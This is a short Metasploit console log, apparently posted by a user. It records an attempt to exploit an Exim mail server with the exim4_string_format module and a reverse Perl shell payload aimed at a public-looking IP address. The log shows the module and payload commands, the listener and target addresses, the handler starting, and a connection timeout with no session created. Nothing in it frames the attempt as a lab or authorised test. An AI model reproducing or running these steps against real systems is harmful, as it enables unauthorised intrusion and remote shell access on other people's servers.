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msf > use exploit/unix/smtp/exim4_string_format
msf > set PAYLOAD cmd/unix/reverse_perl
PAYLOAD => cmd/unix/reverse_perl
msf exploit(exim4_string_format) > set LHOST 192.168.70.129
LHOST => 192.168.70.129
msf exploit(exim4_string_format) > set RHOST 46.243.8.219
RHOST => 46.243.8.219
msf exploit(exim4_string_format) > exploit
[*] Started reverse handler on 192.168.70.129:4444
[*] Connecting to sites ip:25 ...
[-] Exploit exception: The connection timed out (46.243.8.219:25).
[*] Exploit completed, but no session was created.